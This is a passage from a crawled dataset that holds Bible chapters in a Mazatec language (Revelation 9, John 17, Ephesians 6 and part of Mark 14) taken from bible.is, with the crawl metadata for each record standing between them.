cho̱ na'yá xi̱ta̱ nga ijò 'beé. 6Na̱chrjein koi, jñà xi̱ta̱ mejèn‑la̱ nga ki̱yá, ta̱nga mìkiì sa̱kò‑la̱ kós'ín si̱ìk'en yijo‑la̱. 'Ñó ko̱mejèn‑la̱ nga si̱ìk'en yijo‑la̱ ta̱nga mìkiì ko̱ma ki̱yá. 7Jñà cho̱ langosta k'oa̱á kjoàn i̱sén‑la̱ koni kjoàn kohòyo̱ xi binchandaà‑la̱ kjo̱jchán. Tjísòn sko̱ koni corona xi nguì oro; i̱sén‑la̱ xi̱ta̱á tjín‑la̱. 8Tsja̱ sko̱ k'oa̱á kjoàn koni kjoàn ts'e̱ íchjín; ni̱'ño̱, k'oa̱á kjoàn koni ts'e̱ xa. 9Ya̱ i̱sòn ini̱ma̱‑la̱ k'oa̱á kjoàn xi kijtsa koni ki̱cha̱ tájaà xi síkjeén xi̱ta̱ kjo̱jchán; jñà jnga̱á‑la̱ k'oa̱á s'ín na'yà‑la̱ nga one koni tsà 'ñó kjìn ma carreta xi bíndofe kohòyo̱ nga ongachikon nga fì kjo̱jchán. 10Tjín nditsin koni cho̱ na'yá ko̱ tjín‑la̱ na'yá. Jñà nditsin tjín‑la̱ nga'ñó nga 'òn sá si̱ìki'on xi̱ta̱. 11Jè xi síjna sko̱‑la̱ cho̱ langosta, jè àkja̱le̱ ts'e̱ ni̱tja̱n. Jè 'ín‑la̱ àkja̱le̱ jè, xi 'én hebreo, Abadón 'mì, koa̱ xi 'én griego, Apolión 'mì. [Jñà 'ín koi, tsòyaá‑ne: jè xi síkits'óña.] 12Jyeé tsato kjo̱'in xi tíjna ítjòn xi ta̱xki̱ 'oón komàt'in xi̱ta̱; ta̱nga nguì jò chija xi sa̱ nchrobá. 13Jè xi ma‑ne joòn àkja̱le̱ kisìkjindáya chrjo‑la̱; k'e̱é ki'nchrè jngoò‑la̱ jta̱ xi ya̱ itjojiìn‑ne nga ñijòn nchra̱já‑la̱ jè ími̱xa̱ tsjeè xi nguì oro jè xi síjna nguixko̱n Nainá 14nga kitsò‑la̱ jè àkja̱le̱ xi ma‑ne joòn, xi kjiya chrjo tsja: ―Chjíjnda̱'ñoí jñà àkja̱le̱ xi ñijòn ma‑ne xi tjít'aà'ñó ya̱ chrañà‑la̱ jè nandá xa̱jngá je Éufrates. 15K'e̱é kitjájnda̱'ñó jñà àkja̱le̱ xi ñijòn ma‑ne xi jye k'oa̱s'ín títsa̱jnandaà jè hora, jè na̱chrjein, jè sá ko̱ jè nó, mé‑ne nga jngoòya si̱ìk'en‑ne xi̱ta̱ xi ma‑ne jàn‑ya ngats'iì xi̱ta̱ xi tjín. 16'A̱n, ki'nchrè‑la̱ kótjín ma‑ne jñà xi̱ta̱ kjo̱jchán xi kohòyo̱ títsa̱jnakjá‑la̱; jò sìndo̱ millón ma‑ne. 17K'oa̱á s'ín tsatsejèn‑na jñà kohòyo̱ ko̱ xi̱ta̱ xi títsa̱jnakjá‑la̱ nga ki̱cha̱ tájaà kijtsa ini̱ma̱‑la̱ xi inì kjoàn koni ni'ín, xi azul kjoàn koni zafiro, ko̱ xi sinè kjoàn koni azufre. Jñà sko̱ kohòyo̱, k'oa̱á kjoàn koni sko̱ xa; ko̱ ya̱ tso'ba, ni'ín bitjo, ni̱'ndi̱í bitjo, ko̱ azufre bitjo. 18Jè kjoa̱‑la̱ nga ingajàn kjo̱'in koi, jngoò ya k'en xi̱ta̱ xi jàn ya ngats'iì xi̱ta̱ xi tjín. Jè kisìk'en jè ni'ín, ni̱'ndi̱ ko̱ azufre xi bitjo‑ne tso'ba kohòyo̱. 19Nga'ñó xi tjín‑la̱ kohòyo̱, ya̱á tjí'a tso'ba ko̱ i̱tjòn nditsin, nga jñà nditsin k'oa̱á kjoàn koni kjoàn ye̱; koa̱ jñà sko̱ síki'on‑ne jñà xi̱ta̱. 20Jñà xi̱ta̱ xi tsiningui‑ne xi mìkiì k'en k'e̱ nga jye tsato yije kjo̱'in koi, mìkiì kisìkájno jé‑la̱ nga mì ti̱ jé ko̱hótsji‑ne; ta̱kó jñà kijtseèxkón ini̱ma̱ ch'o‑la̱ nei̱í, ko̱ jñà i̱sén xi Nainá tsò‑la̱ xi ki̱cha̱ oro, plata, bronce, nda̱jo̱ ko̱ yá, jñà xi mìkiì tsejèn‑la̱ ko̱ xi mìkiì 'nchré ko̱ xi mìkiì ma fì. 21Jñà xi̱ta̱ koi, mìkiì kisìkájno jé‑la̱ nga mì ti̱ jé ko̱hótsji‑ne nga xi̱ta̱ sík'en, nga ma‑la̱ bíndaà, ko̱ nga kjoa̱ chijngui s'ín, ko̱ kjoa̱ chijé.\nApocalipsis 9","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Rev\/9","date":"2013-12-09T16:35:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163990831\/warc\/CC-MAIN-20131204133310-00087-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.000005126,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"maa_Latn_score\": 1.0000051259994507}","num_words":567,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.238,"stopwords_ratio":0.326,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jesús, k'e̱ nga jye k'oa̱s'ín kiìchja̱, kiskoòtsejèn ngajmiì, kitsò: ―Na̱'èn, jyeé ijchò hora‑la̱, jeya ti̱kíjni Ki'ndí‑lè, mé‑ne jè Ki'ndí‑lè ti̱koa̱ ngaji̱, jeya si̱ìkíjna‑lè, 2koni s'ín kits'iì‑la̱ kjo̱tíxoma Ki'ndí‑lè i̱t'aà ts'e̱ ngats'iì xi̱ta̱ nga tjí'nde‑la̱ nga tsjaà‑la̱ kjoa̱binachon ni̱ta̱ kjé‑ne ngats'iì xi̱ta̱ xi ji̱ kits'iì‑la̱. 3Jè kjoa̱binachon xi tjín ni̱ta̱ kjé‑ne, jè‑né nga skoe̱xkon‑lè, nga ta ji̱ ta̱jngoò‑né xi kixi̱ kjoa̱ nga Nainá 'mì‑lè, ti̱koa̱ skoe̱xkon Jesucristo xi Ki'ndí‑lè xi xó ji̱ kinìkasén‑ne. 4''A̱n, jeya kisìkíjna‑lè i̱ i̱sò'nde, nga jyeé kisìjngoaà xá xi ji̱ kinìnga̱tsja‑ná. 5Na̱'èn, i̱'ndei̱, k'oa̱s'ín jeya ti̱kíjna‑ná nga nguixkoiìn koni tjín kjoa̱ jeya xi kis'e‑na̱ nga tsohóti̱jnat'aà‑lè k'e̱ nga ti̱kj'eè sindaà i̱sò'nde. 6'Jñà xi̱ta̱ i̱sò'nde xi xó ji̱ kichjaàjiìn‑ne nga 'a̱n kinìnga̱tsja‑ná, jyeé tsibeno̱jmí‑la̱ i̱t'aà tsi̱ji. Xi̱ta̱ tsi̱ji‑né, nga ji̱ kits'iì‑ná, ko̱ nchisíkitasòn‑né koni tsò 'én‑lè. 7Jñà xi̱ta̱ koi, i̱'ndei̱, jyeé beè nga ngats'iì kjoa̱ xi 'a̱n kits'iì‑ná, i̱t'aà tsi̱ji nchrobá‑ne. 8'A̱n, tsibeno̱jmí‑la̱ jñà 'én xi ji̱ kits'iì‑ná; jñà xi̱ta̱ koi, jahas'en‑jiìn‑la̱; jyeé kijtseè nga kixi̱ kjoa̱ nga i̱t'aà tsi̱jií inchrobà‑na̱. Mokjeiín‑la̱ nga ji̱ kinìkasén‑ná. 9'Jñà xi̱ta̱ koi, bìtsi'batjià. Mìtsà jñà xi̱ta̱ i̱sò'nde bìtsi'batjià; tà jñà‑né xi ji̱ kits'iì‑ná, nga̱ xi̱ta̱ tsi̱ji‑né. 10Ngats'iì xi̱ta̱ xi ts'a̱n, ti̱koa̱ tsi̱ji‑né, koa̱ jñà xi̱ta̱ xi tsi̱ji, ti̱koa̱á ts'a̱n‑ná. I̱t'aà ts'e̱é xi̱ta̱ koi, nga jeya óti̱jna. 11''A̱n, mì ti̱ kiì tse kóti̱jna‑na̱ i̱ i̱sò'nde; ta̱nga jñà xi̱ta̱ koi, i̱í kítsa̱jna i̱sò'nde. 'A̱n, ya̱á tìfikon‑lè nga ya̱ kóti̱jnako̱‑lè. Na̱'èn tsjeè, ndaà ti̱kindi̱i xi̱ta̱ koi nga ko̱ nga'ñó‑lè, ti̱jè‑ne nga'ñó xi ji̱ kits'iì‑ná mé‑ne nga ndaà kítsa̱jnajtín‑ne koni jñá ndaà titsa̱jnakjoaá ngaji̱ ko̱ 'a̱n. 12K'e̱ nga tsohóti̱jnakoa̱a i̱ i̱sò'nde, ndaà kisìkinda̱a nga ko̱ nga'ñó‑lè, ti̱jè‑ne nga'ñó xi ji̱ kits'iì‑ná. Ni̱jngoò xi kichijà, tà jé kichijà jè xi k'oa̱s'ín tjínè‑la̱ nga k'oa̱s'ín ko̱mat'in, mé‑ne ki̱tasòn‑ne koni s'ín tíchja̱ Xo̱jo̱n‑lè. 13'Ta̱nga i̱'ndei̱ ya̱á tìfikon‑lè ñánda tijni. Jñà 'én xi tìchjà k'e̱ nga tákó i̱ tìjna̱a i̱sò'nde, koi‑né nga 'ñó ndaà kàtasijiìn ini̱ma̱‑la̱ jñà xi̱ta̱‑na̱, jè kjo̱tsja xi tíjiìn ts'a̱n. 14'A̱n, jyeé tsibeno̱jmí‑la̱ 'én‑lè jñà xi̱ta̱‑na̱; ta̱nga jñà xi̱ta̱ i̱sò'nde síjtikeè‑né, koií‑né nga mìtsà ti̱ xi̱ta̱ ts'e̱ i̱sò'nde‑ne, ti̱koa̱á 'a̱n, mìtsà ti̱ i̱ i̱sò'nde chjà‑na. 15Mìtsà xan‑lè nga chja̱àxìn i̱ i̱sò'nde, tà jè‑né xi xan‑lè nga ti̱kindi̱i i̱t'aà ts'e̱ xi̱ta̱ nei̱í. 16Koni 'a̱n mìtsà i̱ i̱sò'nde chjà‑na, ti̱koa̱á jñà xi̱ta̱‑na̱ mìtsà ti̱ i̱‑ne i̱sò'nde chja̱‑ne. 17I̱t'aà ts'e̱ kjoa̱ kixi̱‑lè, tsjeè ti̱kítsa̱jni nga nguì xi̱ta̱ tsi̱ji kàtama; nga jñà 'én‑lè, nguì kjoa̱ kixi̱‑né. 18Ji̱, koni s'ín kinìkasén‑ná i̱ i̱sò'nde, 'a̱n, k'oa̱á ti̱s'ín sìkasén jñà xi̱ta̱‑na̱ i̱t'aà ts'e̱ xi̱ta̱ i̱sò'nde. 19Xi kjo̱ndaà ts'e̱ xi̱ta̱‑na̱, 'a̱n, jyeé tsjeè tìsìnga̱tsja‑lè yijo‑na̱ mé‑ne jñà xi̱ta̱‑na̱ ti̱koa̱ tsjeè si̱ìnga̱tsja‑lè yijo‑la̱ xi i̱t'aà ts'e̱ kjoa̱ kixi̱‑lè. 20'Mìtsà tà jñà bìtsi'batjià jñà xi̱ta̱ ts'a̱n; ti̱koa̱á bìtsi'batjì‑ná jñà xi̱ta̱ xi i̱skan ko̱kjeiín‑la̱ i̱t'aà ts'a̱n k'e̱ nga kji̱'nchré 'én‑na̱ xi ke̱èno̱jmí‑la̱ jñà xi̱ta̱‑na̱, 21mé‑ne ngats'iì jñà xi̱ta̱ koi, tà jngoò ko̱ma‑ne, koni jñá nga jngoò ma‑ná koni s'ín tijnako̱‑ná ngaji̱ Na̱'èn, ti̱koa̱ 'a̱n tìjna̱ko̱‑lè. Jñà xi̱ta̱ koi, ti̱koa̱ kàtìtsa̱jnako̱‑ná mé‑ne jñà xi̱ta̱ i̱sò'nde ko̱kjeiín‑la̱ nga ji̱ kinìkasén‑ná. 22Jè kjoa̱jeya xi ji̱ kits'iì‑ná, 'a̱n, k'oa̱á ti̱s'ín kitsjaà‑la̱ jñà xi̱ta̱‑na̱ mé‑ne nga tà jngoò ko̱ma‑ne koni jñá nga tà jngoò ma‑ná. 23'A̱n tìjna̱koa̱a jñà xi̱ta̱‑na̱ ko̱ ji̱ tijnako̱‑ná, mé‑ne nga nguì jngoò ko̱ma‑ne. K'oa̱á s'ín skoe̱‑ne jñà xi̱ta̱ i̱sò'nde nga ji̱ kinìkasén‑ná ko̱ ti̱koa̱ skoe̱ nga matsjachi jñà xi̱ta̱‑na̱ koni s'ín matsjacha‑ná 'a̱n. 24'Na̱'èn, koií xi mejèn‑na nga jñà xi̱ta̱ xi ji̱ kits'iì‑ná ya̱ kítsa̱jnako̱‑na ñánda kóti̱jna, mé‑ne nga skoe̱‑ne kjoa̱ jeya‑na̱ xi ji̱ kits'iì‑ná nga ti̱koa̱ matsjacha‑ná skanda k'e̱ nga ti̱kj'eè sindaà i̱sò'nde. 25Na̱'èn xi xi̱ta̱ kixi̱ 'mì‑lè, jñà xi̱ta̱ xi tjín i̱sò'nde, mìkiì beèxkon‑lè, ta̱nga 'a̱n, beèxkoòn‑lè. Ti̱koa̱ jñà xi̱ta̱ xi ji̱ kits'iì‑ná jye kisijiìn‑la̱ nga ji̱ kinìkasén‑ná. 26Jñà xi̱ta̱‑na̱ jyeé tsibeno̱jmí yije‑la̱ i̱t'aà tsi̱ji; tákó sa̱á kèno̱jmí ìsa̱‑la̱ mé‑ne jè kjoa̱tjòcha xi tjín‑lè i̱t'aà ts'a̱n, ti̱koa̱ s'e̱‑la̱ jñà xi̱ta̱ koi, koa̱ 'a̱n sobà kóti̱jnajñaà ini̱ma̱‑la̱.\nSan Juan 17","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/John\/17","date":"2013-12-12T03:14:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164391000\/warc\/CC-MAIN-20131204133951-00068-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000090599,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"maa_Latn_score\": 1.0000090599060059}","num_words":621,"character_repetition_ratio":0.105,"word_repetition_ratio":0.0,"special_characters_ratio":0.241,"stopwords_ratio":0.283,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jñò xi i̱xti 'mì‑nò, ti̱ná'yañijon‑là xi̱ta̱ jchínga‑nò nga Cristo titsa̱jnako̱o. Koií kjoa̱ xi kixi̱ tjín. 2- 3Nga̱ tsò jè Xo̱jo̱n‑la̱ Nainá: \"Jcha̱xkoín na̱'èn‑lè ko̱ nea̱‑lè, mé‑nè nga ndaà ki̱jna‑ne koa̱ tseé ko̱ma‑lè i̱ i̱sò'nde.\" Ngats'iì kjo̱tíxoma xi kitsjaà Nainá, jè jèe̱ xi tsjá ítjòn jngoò‑la̱ kjo̱ndaà jñà xi̱ta̱ xi síkitasòn. 4Jñò xi na̱'èn 'mì‑nò, kì i̱xti‑nò nìjti‑là; k'oa̱á s'ín ti̱jchá nga ndaà ti̱kixio̱o koa̱ ndaà ta̱kóya‑là koni s'ín mejèn‑la̱ Na̱'èn‑ná. 5Jñò xi chi̱'nda maà, ndaà ti̱kitasòn‑là xi nei‑nò ma i̱ i̱t'aà nangui; ndaà jcha̱xkón nga tíjngoò takòn koni tsà xá ts'e̱ Cristo titsa̱'nè. 6Ndaà ti̱xá‑là nei‑nò; mì tà k'e̱ ndaà nìxá k'e̱ nga tímakinda̱ nga tà jè nei‑nò ndaà ki̱tsa̱jnako̱o; k'oa̱á s'ín t'e̱en koni tsà chi̱'nda‑la̱ Cristo maà nga nguì ko̱ó ini̱ma̱‑nò ti̱xá koni s'ín mejèn‑la̱ Nainá. 7K'oa̱á s'ín ti̱xá nga nguì ko̱ kjo̱tsja‑nò koni tsà xá‑la̱ Na̱'èn‑ná titsa̱'nè ko̱ mìtsà ts'e̱ xi ta̱xki̱ xi̱ta̱. 8Ndaà 'yaà nga jngoò ìjngoò xi̱ta̱, Nainá, k'oa̱á s'ín tsjá‑la̱ chjí‑la̱ koni tjín xá xi s'ín, na̱s'ín xi̱ta̱ chi̱'nda ko̱ xi mìtsà xi̱ta̱ chi̱'nda. 9Jñò xi nei‑la̱ xá 'mì‑nò, k'oa̱á ti̱s'ín tjò t'e̱en chi̱'nda‑nò. Kì ta̱xki̱ chítiko̱o chi̱'nda‑nò nga mejèn‑nò kjo̱'in bìnè‑là. Ndaà tíjiìn‑nò nga jè Nei‑la̱ xi̱ta̱ chi̱'nda‑nò ko̱ jè Nei‑nò, ti̱jé‑ne xi tíjna ján ngajmiì. Nga jè, mìkiì faájiìn xi̱ta̱; tà ngásòn fìko̱. 10Jñò 'ndseé, jñà kjoa̱ koi xi fehet'aà‑ne; k'oa̱á xán‑nò: Ti̱nchátsjioò nga'ñó ts'e̱ ini̱ma̱‑nò i̱t'aà ts'e̱ Na̱'èn‑ná Jesucristo; 'ñó ti̱tsa̱jnako̱o ngats'iì nga'ñó xi 'ñó tse tjín‑la̱ Cristo. 11Ti̱si̱ko̱ò yijo‑nò, chjoé yije nga'ñó xi tsjá‑nò Nainá mé‑nè nga tájaà titsa̱jna‑nò nga mì jè xi̱ta̱ nei̱í skóna̱cha̱n‑nò. K'oa̱á ngaya‑la̱ koni jñà soldado nga 'ya yije ki̱cha̱‑la̱ k'e̱ nga fì kjo̱jchán. 12Nga mìtsà jñà xi̱ta̱ i̱sò'nde titsa̱bixkán‑koa̱á. Jñà kondra̱‑ná xi xi̱ta̱xá ítjòn tjín‑la̱ i̱jiìn iseèn, jñà xi mìkiì tsejèn, ngats'iì xi tjín‑la̱ kjo̱tíxoma ts'e̱ xi̱ta̱ nei̱í, koa̱ xi sko̱‑la̱ títsa̱jna nga jñà otíxoma i̱sò'nde jñò, ngats'iì nga'ñó‑la̱ xi̱ta̱ nei̱í xi tjíma i̱jiìn i̱sén nga tíjtsa i̱sò'nde. 13Koií ko̱xan‑nò, chjoé yije nga'ñó xi tsjá‑nò Nainá mé‑nè nga 'ñó ki̱tsa̱jna‑nò jè na̱chrjein k'e̱ nga mejèn‑la̱ skóna̱cha̱n‑nò xi̱ta̱ nei̱í. K'e̱ nga jye si̱kijneè, tákó k'oa̱á s'ín kixi̱ ki̱ncha‑là ni̱ta̱ mé kjoa̱‑ne. 14K'oa̱á s'ín 'ñó kixi̱ ti̱tsa̱jnandaà; nguì 'én kixi̱ ti̱nókjoa̱a mé‑ne nga ki̱tsa̱jnandaà kjoa̱ ts'e̱ xi̱ta̱ nei̱í koni s'ín jñà soldado nga 'ñó bíkjá xincho̱‑la̱ [mé‑ne nga mì si̱ìjti‑la̱ nikje‑la̱ k'e̱ fì kjo̱jchán]. Ko̱ nguì kixi̱ titsa̱jnaá nga nguixko̱n Nainá mé‑ne nga ndaà kójtsa ini̱ma̱‑nò koni jngoò soldado xi ndaà kijtsa ini̱ma̱‑la̱ jè chrjoa̱ xi 'mì coraza. 15Kjit'aà na̱chrjein titsa̱jnandaà nga si̱ka'bió 'én ndaà‑la̱ Nainá mé‑ne nga kàtas'e‑la̱ kjoa̱'nchán jñà xi̱ta̱. K'e̱ nga ko̱s'ín s'e̱en, 'ñó ki̱tsa̱jnaà koni jngoò soldado nga tjín‑la̱ nga'ñó xo̱xté‑la̱ nga ma fì. 16K'e̱ nga ndaà mokjeiín‑nò i̱t'aà ts'e̱ Nainá, jè ko̱si̱ko̱‑nò xi kjoa̱ ts'e̱ xi̱ta̱ nei̱í k'e̱ nga jè bít'in‑nò nga binchaàtsjioò jé; k'oa̱á ngaya‑la̱ koni s'ín jngoò soldado nga kjoé escudo‑la̱, jè xi síkits'o ni'ín flecha xi títì‑la̱ xi̱ta̱ nei̱í. 17Jè kjoa̱ nga bitjokàjñoò kjo̱'in, jè ngaya‑la̱ jè tsí'nguién ki̱cha̱ xi osìko̱ sko̱ soldado. Koa̱ jñà 'én ndaà‑la̱ Nainá jè ngaya‑la̱ ki̱cha̱ ndojò xi tsjá Ini̱ma̱ Tsjeè‑la̱ Nainá. 18Kì bìkjoàn‑là nga bìtsi'bà‑là Nainá; ti̱jét'aà kjit'aà‑là koni s'ín béno̱jmíya‑nò Ini̱ma̱ Tsjeè‑la̱ Nainá. Kjit'aà na̱chrjein titsa̱jnandaà; kì nìhindaà‑jèn nga bìtsi'batjiò ngats'iì xi̱ta̱ na̱xa̱ndá‑la̱ Nainá. 19Ti̱koa̱ titsi'batjì‑ná i̱t'aà ts'a̱n mé‑nè nga Nainá tsjá‑na 'én xi kichjà, koa̱ mé‑ne nga mìkiì tsakjoòn‑na k'e̱ nga kèno̱jmí‑la̱ xi̱ta̱ jè 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo xi ochrjekàjiìn‑ná kjo̱'in mé‑ne nga ko̱ma skoe̱‑ne jè kjoa̱'ma xi tíjna‑la̱ Nainá skanda kjòtseé. 20Nainá kisìkasén‑na nga 'a̱n kichjà ngajo‑la̱ i̱t'aà ts'e̱ 'én ndaà‑la̱; koií kjoa̱‑la̱ nga nda̱yá tìjna̱a'ya; sìjét'aà‑nò nga titsi'batjì‑ná mé‑ne nga mì tsakjoòn‑na nga kèno̱jmiá 'én ndaà‑la̱. 21Tìsìkasén‑nò jè 'ndsé Tíquico jè xi matsjachaá, ti̱koa̱ ndaà síxá‑la̱ Nainá. Jè o̱ki̱tso̱ yije‑nò xi i̱t'aà ts'a̱n, kó s'ín tìjna̱a, ko̱ mé xi tìs'iaàn. 22Koií xá tìsìkasén‑nò nga ke̱èno̱jmí‑nò xi i̱t'aà tsa̱je̱n kós'ín titsa̱jna‑je̱n ko̱ mé‑ne nga kàtatsjá‑nò nga'ñó ts'e̱ ini̱ma̱‑nò. 23Jè Nainá xi Na̱'èn‑ná ko̱ jè Jesucristo xi otíxoma‑ná kàtasíkíjna 'nchán i̱jiìn ini̱ma̱‑nò ngats'ioò xi xinguia̱á chibá; kàtatsjá‑nò kjo̱ndaà nga tjòcha t'e̱en xinguio̱o, nga mokjeiín‑nò i̱t'aà ts'e̱ Nainá. 24Jè kjo̱ndaà‑la̱ Jesucristo xi otíxoma‑ná kàtìjnako̱ ngats'iì xi̱ta̱ xi mìkiì síkjahatjìya‑la̱ kjo̱hítsjeèn‑la̱ nga kjit'aà na̱chrjein ndaà matsjakeè Na̱'èn‑ná Jesucristo. K'oa̱s'ín kàtama.\nEfesios 6","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Eph\/6","date":"2013-12-06T21:13:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163052593\/warc\/CC-MAIN-20131204131732-00058-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.000009656,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"maa_Latn_score\": 1.0000096559524536}","num_words":679,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.3,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Tà jó ni̱chjin chija‑la̱ nga ki̱tjo 'sí paxko̱ 'tse̱ xi̱ta̱ judío 'kia̱ nga bakjèn ni̱ño̱ nchra̱jín ra tsìn‑la̱ na̱'yo̱ san. Jñà xi̱ta̱ ítjòn‑la̱ na̱'mì ko̱ xi̱ta̱ ra bakón‑ya kjo̱téxoma‑la̱ Nainá ra tsikínda Moisés, tsakátsji'ndeé‑la̱ kó'sín si̱ìko̱ nga sko̱ónda̱cha̱‑la̱ nga jtsa̱ba̱'ñó Jesús, a̱kjòn si̱ì'ken. 2Tjín i'ka ra kitsò: ―Mì tsa 'kia̱ ki̱nda̱ba̱'ñé 'kia̱ nga tjín 'sí, mé‑ni nga mì kì kjo̱si 'se̱‑ni ya̱ a̱jin na̱xi̱ndá. 3Jesús 'kia̱ nga tíjna ni'ya‑la̱ Simón ya̱ na̱xi̱ndá Betania, jè ra ko̱'sín 'yaxkon‑la̱ nga i'ndojno chrja̱ba̱ ijo‑la̱. 'Kia̱ nga tíjna'ta ímixa̱ jngo chjo̱ón ijchòjkon, ra 'ya jngo namìta̱ na̱jo̱ ra tjíya‑la̱ sihìti̱ ixi ra 'ñó nda jne̱ ra 'mì nardo ra 'ñó tse chjí‑la̱. Tsakján'a namìta̱, a̱kjòn tsikíxten‑jnó sko̱ Jesús jè sihìti̱ ixi ra 'ya. 4Tjín i'ka xi̱ta̱ ra ya̱ títsa̱jna, kjojtií‑la̱, kitsò‑la̱ xákjién: ―¿Mé‑ni ta kàsíkitsón‑ni jè sihìti̱ ixi? 5Isa̱á‑la nda tsa kasatína, nga̱ tsatoó‑la̱ jàn sindo̱ ni̱chjin chjí‑la̱ xi̱ta̱ chi̱'nda tjín‑ni; ko̱ jè to̱n ra̱kìi̱ tsa jñà ka'bì‑la̱ jñà ndí xi̱ta̱ i̱ma̱. Ko̱ kiìchja̱jno‑la̱ jè chjo̱ón ra̱kìi̱. 6Tanga kitsó Jesús: ―Kì ko̱'sín 'mì‑la. ¿Mé‑ni ko̱'sín nìjti‑la? Koni 'sín nga kásíko̱‑na, 'ñó nda ká'sín‑ni. 7Jñà xi̱ta̱ i̱ma̱ ya̱á títsa̱jnako̱ ki'ta‑no ko̱ maá ki̱si̱ko̱'ta jiòn tsa 'kia̱ nga mejèn‑no. Tanga 'a̱n, mì tsa ta kji'tà ni̱chjin i̱ kóti̱jnako̱‑no. 8Jè chjo̱ón ra̱kìi̱, 'koa̱á 'sín ká'sín koni 'ki ma ra ká'sín. Ijyeé kábíxten‑jnó kjón‑ni sihìti̱ ixi ra 'ñó nda jne̱ ya̱ ijo‑na̱ ra a̱'ta 'tse̱ 'kia̱ nga si̱ijiaa̱n. 9'Koa̱á xin kixi̱‑no, ni̱'sín ta ñánda̱‑ni nga 'se̱na̱jmíya jè 'én xi̱tse̱ ra nda tsò nga tjíjtsa i̱sà'nde, ti̱'koa̱á 'se̱na̱jmíyaá‑te koni 'sín ká'sín jè chjo̱ón ra̱kìi̱, mé‑ni nga si̱íkítsjen‑yá‑ni xi̱ta̱ ra a̱'ta 'tse̱. 10Jè Judas Iscariote, jngo xi̱ta̱‑la̱ Jesús jñà ra tejò ma‑ni, kiìjkoón jñà xi̱ta̱ ítjòn‑la̱ na̱'mì nga mejèn‑la̱ jè si̱ìnga̱tsja Jesús. 11Jñà xi̱ta̱ ítjòn‑la̱ na̱'mì, 'kia̱ nga kií'nchré, 'ñó kjotsja‑la̱, 'koa̱á 'sín kitsjà‑la̱ tsa'ba nga to̱ón tsjá‑la̱. Jè Judas tsakátsji'ndeé‑la̱ kó'sín 'si̱in nga ma si̱ìnga̱tsja Jesús. 12Jè ni̱chjin 'kia̱ nga ti̱'sa̱ ma'tsia̱ jè 'sí paxko̱, 'kia̱ nga jñà xi̱ta̱ judío bakjèn ni̱ño̱ nchra̱jín ra tsìn‑la̱ na̱'yo̱ san, nga sí'ken forrè ra bíxten jní‑la̱ a̱'ta 'tse̱ 'sí paxko̱, jñà xi̱ta̱ ra kotá'yá'ta‑la̱ Jesús iskonangií‑la̱; kitsò‑la̱: ―¿Ñánda̱ mejèn‑li nga kongí kinda‑ji̱n tsajmì ra chji̱ne̱é 'tse̱ 'sí paxko̱? 13Jesús isìkasén jò xi̱ta̱ ra kotá'yá'ta‑la̱ ján Jerusalén, kitsò‑la̱: ―Tangió ya̱ a̱jin na̱xi̱ndá ján, ya̱á ska̱jin jngo xi̱ta̱ ra 'ya jngo nisa nandá; 'kia̱ nga jcha̱a, tangítji̱ngi‑la. 14Ya̱ ñánda̱ kjoa̱ha'sen, ko̱'tìn‑la jè ni‑la̱ ni'ya: \"Ki̱í tsò jè Maestro: ¿Ñánda̱ kjijna jè ni'ya ya̱ ñánda̱ kókje̱n‑ko̱ xi̱ta̱‑na̱ ra kotá'yá'ta‑na ra a̱'ta 'tse̱ 'sí paxko̱?\" 15Ya̱á ko̱kòn jngo‑no ni'ya ra je 'ki ra ijye nda chon ra ya̱ tíjnasòn'nga i'ngaá ya̱ ñánda̱ ijye títsa̱nda tsajmì ra ko̱chjeén. Ya̱á tinda jiòn tsajmì ra chji̱ne̱é. 16Kijí‑ní jñà xi̱ta̱ ra kotá'yá'ta‑la̱ Jesús ya̱ a̱jin na̱xi̱ndá. 'Koa̱á 'sín isakò‑la̱ koni 'sín kitsò‑la̱ Jesús, ya̱á tsikínda tsajmì ra tsakjèn ra kjoa̱ 'tse̱ 'sí paxko̱. 17'Kia̱ nga ijye kjòjñò, Jesús ijchòko̱ó xi̱ta̱‑la̱ ra tejò ma‑ni. 18'Kia̱ nga títsa̱jna'ta ímixa̱ nga i̱nchibakjèn, Jesús kitsó‑la̱: ―'Koa̱á 'sín xin kixi̱‑no, ti̱jión jngo‑najiòn ra i̱ i̱nchibichio ra si̱ìnga̱tsja‑na xi̱ta̱ kondra̱‑na̱. 19Jñà xi̱ta̱‑la̱ Jesús ta kjobaá‑la̱ 'kia̱ nga ko̱kitsò Jesús. 'Kia̱á jngó jngó iskonangi, kitsò‑la̱: ―¿A 'a̱n‑ná? 20Jesús kitsò: ―Ra tejò ma‑najiòn, jngo ki̱tjojin, jè‑ní, jè ra ta̱ña mahíjin ni̱ño̱‑la̱ ko̱ tsa̱'a̱n ya̱ a̱jin chro̱ba̱. 21'A̱n ra I'ndí‑la̱ Xi̱ta̱ xian‑la̱ ijo‑na̱, ra kixi̱ kjoa̱, 'koa̱á 'sín ki̱yáa̱ koni 'sín ijye tíchja̱ xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá. Tanga, ¡i̱ma̱‑ró‑ni jè xi̱ta̱ ra ko̱'sín si̱ìnga̱tsja‑na! Isa̱á‑la nda‑la̱ tsa mì kì kitsin xi̱ta̱ ra̱kìi̱. 